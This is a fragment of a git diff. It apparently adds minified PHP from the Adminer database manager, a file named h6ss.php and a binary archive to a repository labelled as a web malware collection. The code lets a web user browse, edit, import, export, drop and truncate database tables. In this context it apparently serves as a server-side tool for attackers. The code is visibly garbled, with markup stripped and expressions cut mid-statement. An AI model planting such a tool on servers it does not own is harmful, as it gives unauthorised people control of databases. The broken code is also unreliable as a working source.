+as$s){if($s["type"]=="PRIMARY"){$xe=array_flip($s["columns"]);$eg=($I?$xe:array());break;}}foreach((array)$eg +as$v=>$W){if(in_array(idf_escape($v),$I))unset($eg[$v]);}if($_POST["export"]){cookie("adminer_import","output=".urlencode($_POST["output"])."&format=".urlencode($_POST["format"]));dump_headers($a);$b->dumpTable($a,"");if(!is_array($_POST["check"])||$eg===array()){$rg=$Z;if(is_array($_POST["check"]))$rg[]="($sg)";$D="SELECT $pc".($rg?"\nWHERE ".implode(" AND ",$rg):"").$vc;}else{$ag=array();foreach($_POST["check"]as$W)$ag[]="(SELECT".limit($pc,"\nWHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($W).$vc,1).")";$D=implode(" UNION ALL ",$ag);}$b->dumpData($a,"table",$D);exit;}if(!$b->selectEmailProcess($Z,$kc)){if($_POST["save"]||$_POST["delete"]){$E=true;$sa=0;$D=table($a);$K=array();if(!$_POST["delete"]){foreach($f +as$_=>$W){$W=process_input($m[$_]);if($W!==null){if($_POST["clone"])$K[idf_escape($_)]=($W!==false?$W:idf_escape($_));elseif($W!==false)$K[]=idf_escape($_)." = $W";}}$D.=($_POST["clone"]?" (".implode(", ",array_keys($K)).")\nSELECT ".implode(", ",$K)."\nFROM ".table($a):" SET\n".implode(",\n",$K));}if($_POST["delete"]||$K){$Va="UPDATE";if($_POST["delete"]){$Va="DELETE";$D="FROM $D";}if($_POST["clone"]){$Va="INSERT";$D="INTO $D";}if($_POST["all"]||($eg===array()&&$_POST["check"])||count($uc)affected_rows;}else{foreach((array)$_POST["check"]as$W){$E=queries($Va.limit1($D,"\nWHERE ".where_check($W)));if(!$E)break;$sa+=$g->affected_rows;}}}$qd=lang(225,$sa);if($_POST["clone"]&&$E&&$sa==1){$Xc=last_id();if($Xc)$qd=lang(139," $Xc");}queries_redirect(remove_from_uri("page"),$qd,$E);}elseif(!$_POST["import"]){if(!$_POST["val"])$k=lang(226);else{$E=true;$sa=0;foreach($_POST["val"]as$cg=>$G){$K=array();foreach($G +as$v=>$W){$v=bracket_escape($v,1);$K[]=idf_escape($v)." = ".(ereg('char|text',$m[$v]["type"])||$W!=""?$b->processInput($m[$v],$W):"NULL");}$D=table($a)." SET ".implode(", ",$K);$rg=" WHERE ".where_check($cg).($Z?" AND ".implode(" AND ",$Z):"");$E=queries("UPDATE".(count($uc)affected_rows;}queries_redirect(remove_from_uri(),lang(225,$sa),$E);}}elseif(is_string($dc=get_file("csv_file",true))){cookie("adminer_import","output=".urlencode($ra["output"])."&format=".urlencode($_POST["separator"]));$E=true;$Ua=array_keys($m);preg_match_all('~(?>"[^"]*"|[^"\\r\\n]+)+~',$dc,$jd);$sa=count($jd[0]);begin();$ef=($_POST["separator"]=="csv"?",":($_POST["separator"]=="tsv"?"\t":";"));foreach($jd[0]as$v=>$W){preg_match_all("~((\"[^\"]*\")+|[^$ef]*)$ef~",$W.$ef,$kd);if(!$v&&!array_diff($kd[1],$Ua)){$Ua=$kd[1];$sa--;}else{$K=array();foreach($kd[1]as$p=>$Ra)$K[idf_escape($Ua[$p])]=($Ra==""&&$m[$Ua[$p]]["null"]?"NULL":q(str_replace('""','"',preg_replace('~^"|"$~','',$Ra))));$E=insert_update($a,$K,$xe);if(!$E)break;}}if($E)queries("COMMIT");queries_redirect(remove_from_uri("page"),lang(227,$sa),$E);queries("ROLLBACK");}else$k=upload_error($dc);}}$yf=$b->tableName($O);page_header(lang(35).": $yf",$k);session_write_close();$K=null;if(isset($Re["insert"])){$K="";foreach((array)$_GET["where"]as$W){if(count($kc[$W["col"]])==1&&($W["op"]=="="||(!$W["op"]&&!ereg('[_%]',$W["val"]))))$K.="&set".urlencode("[".bracket_escape($W["col"])."]")."=".urlencode($W["val"]);}}$b->selectLinks($O,$K);if(!$f)echo"

    ".lang(228).($m?".":": ".error())."\n";else{echo"

    \n","
    ";hidden_fields_get();echo(DB!=""?''.(isset($_GET["ns"])?'':""):"");echo'',"
    \n";$b->selectColumnsPrint($I,$f);$b->selectSearchPrint($Z,$f,$t);$b->selectOrderPrint($Td,$f,$t);$b->selectLimitPrint($x);$b->selectLengthPrint($Hf);$b->selectActionPrint($t);echo"
    \n";$fe=$_GET["page"];if($fe=="last"){$nc=$g->result("SELECT COUNT(*) FROM ".table($a).($Z?" WHERE ".implode(" AND ",$Z):""));$fe=floor(max(0,$nc-1)/$x);}$D="SELECT".limit((+$x&&$uc&&count($uc)selectQuery($D);$E=$g->query($D);if(!$E)echo"

    ".error()."\n";else{if($u=="mssql")$E->seek($x*$fe);$Gb=array();echo"

    \n";$H=array();while($G=$E->fetch_assoc()){if($fe&&$u=="oracle")unset($G["RNUM"]);$H[]=$G;}if($_GET["page"]!="last")$nc=(+$x&&$uc&&count($uc)result(" SELECT FOUND_ROWS()"):$g->result("SELECT COUNT(*) FROM ($D) x")):count($H));if(!$H)echo"

    ".lang(84)."\n";else{$Fa=$b->backwardKeys($a,$yf);echo"\n","".(!$uc&&$I?"":"\n";foreach($b->rowDescriptions($H,$kc)as$_d=>$G){$bg=unique_array($H[$_d],$t);$cg="";foreach($bg +as$v=>$W)$cg.="&".($W!==null?urlencode("where[".bracket_escape($v)."]")."=".urlencode($W):"null%5B%5D=".urlencode($v));echo"".(!$uc&&$I?"":"\n";}echo"
    ".lang(229)."");$Ad=array();$rc=array();reset($I);$Ge=1;foreach($H[0]as$v=>$W){if($v!=$Gd){$W=$_GET["columns"][key($I)];$l=$m[$I?($W?$W["col"]:current($I)):$v];$_=($l?$b->fieldName($l,$Ge):"*");if($_!=""){$Ge++;$Ad[$v]=$_;$e=idf_escape($v);$Ac=remove_from_uri('(order|desc)[^=]*|page').'&order%5B0%5D='.urlencode($v);$sb="&desc%5B0%5D=1";echo'','';echo(!$I||$W?apply_sql_function($W["fun"],$_):h(current($I)))."";echo"";}$rc[$v]=$W["fun"];next($I);}}$cd=array();if($_GET["modify"]){foreach($H +as$G){foreach($G +as$v=>$W)$cd[$v]=max($cd[$v],min(40,strlen(utf8_decode($W))));}}echo($Fa?"".lang(230):"")."
    ".checkbox("check[]",substr($cg,1),in_array(substr($cg,1),(array)$_POST["check"]),"","this.form['all'].checked = false; formUncheck('all-page');").(count($uc)".lang(229).""));foreach($G +as$v=>$W){if(isset($Ad[$v])){$l=$m[$v];if($W!=""&&(!isset($Gb[$v])||$Gb[$v]!=""))$Gb[$v]=(is_mail($W)?$Ad[$v]:"");$y="";$W=$b->editVal($W,$l);if($W!==null){if(ereg('blob|bytea|raw|file',$l["type"])&&$W!="")$y=h(ME.'download='.urlencode($a).'&field='.urlencode($v).$cg);if($W==="")$W=" ";elseif(is_utf8($W)){if($Hf!=""&&ereg('text|blob',$l["type"]))$W=shorten_utf8($W,max(0,+$Hf));else$W=h($W);}if(!$y){foreach((array)$kc[$v]as$n){if(count($kc[$v])==1||end($n["source"])==$v){$y="";foreach($n["source"]as$p=>$jf)$y.=where_link($p,$n["target"][$p],$H[$_d][$jf]);$y=h(($n["db"]!=""?preg_replace('~([?&]db=)[^&]+~','\\1'.urlencode($n["db"]),ME):ME).'select='.urlencode($n["table"]).$y);if(count($n["source"])==1)break;}}}if($v=="COUNT(*)"){$y=h(ME."select=".urlencode($a));$p=0;foreach((array)$_GET["where"]as$V){if(!array_key_exists($V["col"],$bg))$y.=h(where_link($p++,$V["col"],$V["val"],$V["op"]));}foreach($bg +as$Qc=>$V)$y.=h(where_link($p++,$Qc,$V));}}if(!$y){if(is_mail($W))$y="mailto:$W";if($Ee=is_url($G[$v]))$y=($Ee=="http"&&$ba?$G[$v]:"$Ee://www.adminer.org/redirect/?url=".urlencode($G[$v]));}$q=h("val[$cg][".bracket_escape($v)."]");$X=$_POST["val"][$cg][bracket_escape($v)];$xc=h($X!==null?$X:$G[$v]);$hd=strpos($W,"...");$Db=is_utf8($W)&&$H[$_d][$v]==$G[$v]&&!$rc[$v];$Gf=ereg('text|lob',$l["type"]);echo(($_GET["modify"]&&$Db)||$X!==null?"".($Gf?"":""):"".$b->selectVal($W,$y,$l));}}if($Fa)echo"";$b->backwardKeysPrint($Fa,$H[$_d]);echo"
    \n",(!$uc&&$I?"":"\n");}if($H||$fe){$Rb=true;if($_GET["page"]!="last"&&+$x&&count($uc)>=count($I)&&($nc>=$x||$fe)){$nc=found_rows($O,$Z);if($ncresult("SELECT COUNT(*) FROM ".table($a).($Z?" WHERE ".implode(" AND ",$Z):""));}else$Rb=false;}echo"

    ";if(+$x&&$nc>$x){$md=floor(($nc-1)/$x);echo'".lang(232).":",pagination(0,$fe).($fe>5?" ...":"");for($p=max(1,$fe-4);$p'.lang(233)."");}echo" (".($Rb?"":"~ ").lang(122,$nc).") ".checkbox("all",1,0,lang(234))."\n";if($b->selectCommandPrint()){echo'

    ',lang(33),'
    + + + + +
    +';}$lc=$b->dumpFormat();if($lc){print_fieldset("export",lang(114));$de=$b->dumpOutput();echo($de?html_select("output",$de,$ra["output"])." ":""),html_select("format",$lc,$ra["format"])," \n","\n";}}if($b->selectImportPrint()){print_fieldset("import",lang(236),!$H);echo" ",html_select("separator",array("csv"=>"CSV,","csv;"=>"CSV;","tsv"=>"TSV"),$ra["format"],1);echo" ","\n","\n";}$b->selectEmailPrint(array_filter($Gb,'strlen'),$f);echo"\n";}}}elseif(isset($_GET["variables"])){$nf=isset($_GET["status"]);page_header($nf?lang(75):lang(74));$mg=($nf?show_status():show_variables());if(!$mg)echo"

    ".lang(84)."\n";else{echo"\n";foreach($mg +as$v=>$W){echo"","
    ".h($v)."","".nbsp($W);}echo"
    \n";}}elseif(isset($_GET["script"])){header("Content-Type: text/javascript; charset=utf-8");if($_GET["script"]=="db"){$vf=array("Data_length"=>0,"Index_length"=>0,"Data_free"=>0);foreach(table_status()as$O){$q=js_escape($O["Name"]);json_row("Comment-$q",nbsp($O["Comment"]));if(!is_view($O)){foreach(array("Engine","Collation")as$v)json_row("$v-$q",nbsp($O[$v]));foreach($vf+array("Auto_increment"=>0,"Rows"=>0)as$v=>$W){if($O[$v]!=""){$W=number_format($O[$v],0,'.',lang(7));json_row("$v-$q",($v=="Rows"&&$W&&$O["Engine"]==($lf=="pgsql"?"table":"InnoDB")?"~ $W":$W));if(isset($vf[$v]))$vf[$v]+=($O["Engine"]!="InnoDB"||$v!="Data_free"?$O[$v]:0);}elseif(array_key_exists($v,$O))json_row("$v-$q");}}}foreach($vf +as$v=>$W)json_row("sum-$v",number_format($W,0,'.',lang(7)));json_row("");}else{foreach(count_tables($b->databases())as$j=>$W)json_row("tables-".js_escape($j),$W);json_row("");}exit;}else{$Df=array_merge((array)$_POST["tables"],(array)$_POST["views"]);if($Df&&!$k&&!$_POST["search"]){$E=true;$qd="";if($u=="sql"&&count($_POST["tables"])>1&&($_POST["drop"]||$_POST["truncate"]||$_POST["copy"]))queries("SET foreign_key_checks = 0");if($_POST["truncate"]){if($_POST["tables"])$E=truncate_tables($_POST["tables"]);$qd=lang(237);}elseif($_POST["move"]){$E=move_tables((array)$_POST["tables"],(array)$_POST["views"],$_POST["target"]);$qd=lang(238);}elseif($_POST["copy"]){$E=copy_tables((array)$_POST["tables"],(array)$_POST["views"],$_POST["target"]);$qd=lang(239);}elseif($_POST["drop"]){if($_POST["views"])$E=drop_views($_POST["views"]);if($E&&$_POST["tables"])$E=drop_tables($_POST["tables"]);$qd=lang(240);}elseif($u!="sql"){$E=($u=="sqlite"?queries("VACUUM"):apply_queries("VACUUM".($_POST["optimize"]?"":" ANALYZE"),$_POST["tables"]));$qd=lang(241);}elseif($_POST["tables"]&&($E=queries(($_POST["optimize"]?"OPTIMIZE":($_POST["check"]?"CHECK":($_POST["repair"]?"REPAIR":"ANALYZE")))." TABLE ".implode(", ",array_map('idf_escape',$_POST["tables"]))))){while($G=$E->fetch_assoc())$qd.="".h($G["Table"]).": ".h($G["Msg_text"])."
    ";}queries_redirect(substr(ME,0,-1),$qd,$E);}page_header(($_GET["ns"]==""?lang(24).": ".h(DB):lang(82).": ".h($_GET["ns"])),$k,true);if($b->homepage()){if($_GET["ns"]!==""){echo"

    ".lang(242)."

    \n";$Cf=tables_list();if(!$Cf)echo"

    ".lang(6)."\n";else{echo"

    \n","

    ".lang(243).": \n";if($_POST["search"]&&$_POST["query"]!="")search_tables();echo"\n",'\n";foreach($Cf +as$_=>$S){$og=($S!==null&&!eregi("table",$S));echo'
    ',''.lang(102),''.lang(244),''.lang(78),''.lang(245),''.lang(246),''.lang(247),''.lang(94),''.lang(248),(support("comment")?''.lang(96):''),"
    '.checkbox(($og?"views[]":"tables[]"),$_,in_array($_,$Df,true),"","formUncheck('check-all');"),''.h($_).'';if($og){echo''.lang(101).'','?';}else{foreach(array("Engine"=>array(),"Collation"=>array(),"Data_length"=>array("create",lang(30)),"Index_length"=>array("indexes",lang(105)),"Data_free"=>array("edit",lang(31)),"Auto_increment"=>array("auto_increment=1&create",lang(30)),"Rows"=>array("select",lang(27)),)as$v=>$y)echo($y?"?":" ");}echo(support("comment")?" ":"");}echo"
     ".lang(223,count($Cf)),"".nbsp($u=="sql"?$g->result("SELECT @@storage_engine"):""),"".nbsp(db_collation(DB,collations()));foreach(array("Data_length","Index_length","Data_free")as$v)echo" ";echo"
    \n","\n";if(!information_schema(DB)){echo"

    ".(ereg('^(sql|sqlite|pgsql)$',$u)?($u!="sqlite"?" ":"")." ":"").($u=="sql"?" ":"")." \n";$i=(support("scheme")?schemas():$b->databases());if(count($i)!=1&&$u!="sqlite"){$j=(isset($_POST["target"])?$_POST["target"]:(support("scheme")?$_GET["ns"]:DB));echo"

    ".lang(254).": ",($i?html_select("target",$i,$j):'')," ",(support("copy")?" ":""),"\n";}echo"\n";}echo"

    \n";}echo'

    '.lang(148)."\n";if(support("view"))echo''.lang(181)."\n";if(support("routine")){echo"

    ".lang(117)."

    \n";$Ve=routines();if($Ve){echo"\n",'\n";odd('');foreach($Ve +as$G){echo'','
    '.lang(159).''.lang(91).''.lang(198)." 
    '.h($G["ROUTINE_NAME"]).'',''.h($G["ROUTINE_TYPE"]),''.h($G["DTD_IDENTIFIER"]),''.lang(109)."";}echo"
    \n";}echo'

    '.(support("procedure")?''.lang(197).' ':'').''.lang(196)."\n";}if(support("sequence")){echo"

    ".lang(257)."

    \n";$ff=get_vals("SELECT sequence_name FROM information_schema.sequences WHERE sequence_schema = current_schema()");if($ff){echo"\n","\n";odd('');foreach($ff +as$W)echo"
    ".lang(159)."
    ".h($W)."\n";echo"
    \n";}echo"

    ".lang(203)."\n";}if(support("type")){echo"

    ".lang(12)."

    \n";$T=types();if($T){echo"\n","\n";odd('');foreach($T +as$W)echo"
    ".lang(159)."
    ".h($W)."\n";echo"
    \n";}echo"

    ".lang(207)."\n";}if(support("event")){echo"

    ".lang(118)."

    \n";$H=get_rows("SHOW EVENTS");if($H){echo"\n","\n";foreach($H +as$G){echo"",'
    ".lang(159)."".lang(258)."".lang(187)."".lang(188)."
    '.h($G["Name"])."","".($G["Execute at"]?lang(259)."".$G["Execute at"]:lang(189)." ".$G["Interval value"]." ".$G["Interval field"]."$G[Starts]"),"$G[Ends]";}echo"
    \n";$Qb=$g->result("SELECT @@event_scheduler");if($Qb&&$Qb!="ON")echo"

    event_scheduler: ".h($Qb)."\n";}echo'

    '.lang(186)."\n";}if($Cf)echo"\n";}}}page_footer(); \ No newline at end of file diff --git a/php/h6ss.php b/php/h6ss.php new file mode 100644 index 0000000..3a70d9d --- /dev/null +++ b/php/h6ss.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/web-malware-collection-13-06-2012/PHP.7z b/web-malware-collection-13-06-2012/PHP.7z new file mode 100644 index 0000000..a05d957 Binary files /dev/null and b/web-malware-collection-13-06-2012/PHP.7z differ